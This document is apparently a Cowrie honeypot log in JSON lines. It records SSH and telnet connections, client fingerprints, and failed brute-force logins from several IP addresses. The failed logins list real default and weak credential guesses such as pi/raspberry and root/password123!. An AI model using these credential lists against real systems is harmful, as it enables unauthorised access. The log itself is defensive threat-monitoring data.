{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:39:37.964422Z","src_ip":"165.154.23.26","session":"0860c748a6fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"holu","password":"holu","message":"login attempt [holu/holu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:39:38.866735Z","src_ip":"165.154.23.26","session":"0860c748a6fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:39:40.086280Z","src_ip":"165.154.23.26","session":"0860c748a6fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":56.78258657455444,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:40:14.649771Z","src_ip":"142.93.69.27","session":"f1002e3f5220","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":52780,"dst_ip":"10.17.0.5","dst_port":22,"session":"af0ddbd0deef","protocol":"ssh","message":"New connection: 47.86.95.62:52780 (10.17.0.5:22) [session: af0ddbd0deef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:40:26.218581Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:40:26.223826Z","src_ip":"47.86.95.62","session":"af0ddbd0deef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.23.26","src_port":28304,"dst_ip":"159.203.135.109","dst_port":22,"session":"bca879cb73ce","protocol":"ssh","message":"New connection: 165.154.23.26:28304 (159.203.135.109:22) [session: bca879cb73ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:40:54.745690Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:40:54.753881Z","src_ip":"165.154.23.26","session":"bca879cb73ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:40:54.973783Z","src_ip":"165.154.23.26","session":"bca879cb73ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazCDE#","message":"login attempt [root/1qazCDE#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:40:55.852029Z","src_ip":"165.154.23.26","session":"bca879cb73ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:40:57.078243Z","src_ip":"165.154.23.26","session":"bca879cb73ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:41:05.744060Z","src_ip":"47.86.95.62","session":"1b6e92c088ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":58598,"dst_ip":"10.17.0.5","dst_port":22,"session":"c7665d242ea2","protocol":"ssh","message":"New connection: 47.86.95.62:58598 (10.17.0.5:22) [session: c7665d242ea2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:41:09.520818Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:41:23.345379Z","src_ip":"47.86.95.62","session":"c7665d242ea2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:41:23.349512Z","src_ip":"47.86.95.62","session":"c7665d242ea2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.184.143","src_port":47892,"dst_ip":"159.203.135.109","dst_port":22,"session":"67034dcf5418","protocol":"ssh","message":"New connection: 209.99.184.143:47892 (159.203.135.109:22) [session: 67034dcf5418]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:41:56.217148Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:41:56.224515Z","src_ip":"209.99.184.143","session":"67034dcf5418","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:41:56.315999Z","src_ip":"209.99.184.143","session":"67034dcf5418","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password123!","message":"login attempt [root/password123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:41:56.712331Z","src_ip":"209.99.184.143","session":"67034dcf5418","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:41:57.807264Z","src_ip":"209.99.184.143","session":"67034dcf5418","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":51162,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c83f9ca8107","protocol":"ssh","message":"New connection: 47.86.95.62:51162 (10.17.0.5:22) [session: 2c83f9ca8107]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:42:11.626337Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.23.26","src_port":53044,"dst_ip":"159.203.135.109","dst_port":22,"session":"de9330eada31","protocol":"ssh","message":"New connection: 165.154.23.26:53044 (159.203.135.109:22) [session: de9330eada31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:42:12.804319Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:42:12.809504Z","src_ip":"165.154.23.26","session":"de9330eada31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:42:13.033908Z","src_ip":"165.154.23.26","session":"de9330eada31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux123","message":"login attempt [root/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:42:13.948851Z","src_ip":"165.154.23.26","session":"de9330eada31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:42:15.172428Z","src_ip":"165.154.23.26","session":"de9330eada31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"raspberry","message":"login attempt [pi/raspberry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:42:15.475992Z","src_ip":"47.86.95.62","session":"c7665d242ea2","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:42:22.145254Z","src_ip":"47.86.95.62","session":"2c83f9ca8107","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:42:24.748890Z","src_ip":"47.86.95.62","session":"2c83f9ca8107","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:42:26.223577Z","src_ip":"47.86.95.62","session":"af0ddbd0deef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"82.0","message":"Connection lost after 82.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:42:31.494757Z","src_ip":"47.86.95.62","session":"c7665d242ea2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.27.162","src_port":36336,"dst_ip":"10.17.0.5","dst_port":22,"session":"8d98c7c457eb","protocol":"ssh","message":"New connection: 43.153.27.162:36336 (10.17.0.5:22) [session: 8d98c7c457eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:42:51.244336Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:42:51.249590Z","src_ip":"43.153.27.162","session":"8d98c7c457eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:42:51.318437Z","src_ip":"43.153.27.162","session":"8d98c7c457eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"blehbleh","message":"login attempt [root/blehbleh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:42:51.624814Z","src_ip":"43.153.27.162","session":"8d98c7c457eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:42:52.696697Z","src_ip":"43.153.27.162","session":"8d98c7c457eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop","message":"login attempt [hadoop/hadoop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:43:21.712126Z","src_ip":"47.86.95.62","session":"2c83f9ca8107","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"72.5","message":"Connection lost after 72.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:43:24.117990Z","src_ip":"47.86.95.62","session":"2c83f9ca8107","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.12.41.6","src_port":57970,"dst_ip":"10.17.0.5","dst_port":22,"session":"b6a122cdc9e8","protocol":"ssh","message":"New connection: 20.12.41.6:57970 (10.17.0.5:22) [session: b6a122cdc9e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:43:32.077886Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:43:32.082315Z","src_ip":"20.12.41.6","session":"b6a122cdc9e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:43:32.096792Z","src_ip":"20.12.41.6","session":"b6a122cdc9e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111222333","message":"login attempt [root/111222333] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:43:32.188711Z","src_ip":"20.12.41.6","session":"b6a122cdc9e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.23.26","src_port":22802,"dst_ip":"159.203.135.109","dst_port":22,"session":"0f49d6cf270f","protocol":"ssh","message":"New connection: 165.154.23.26:22802 (159.203.135.109:22) [session: 0f49d6cf270f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:43:32.509495Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:43:32.521399Z","src_ip":"165.154.23.26","session":"0f49d6cf270f","protocol":"ssh"}
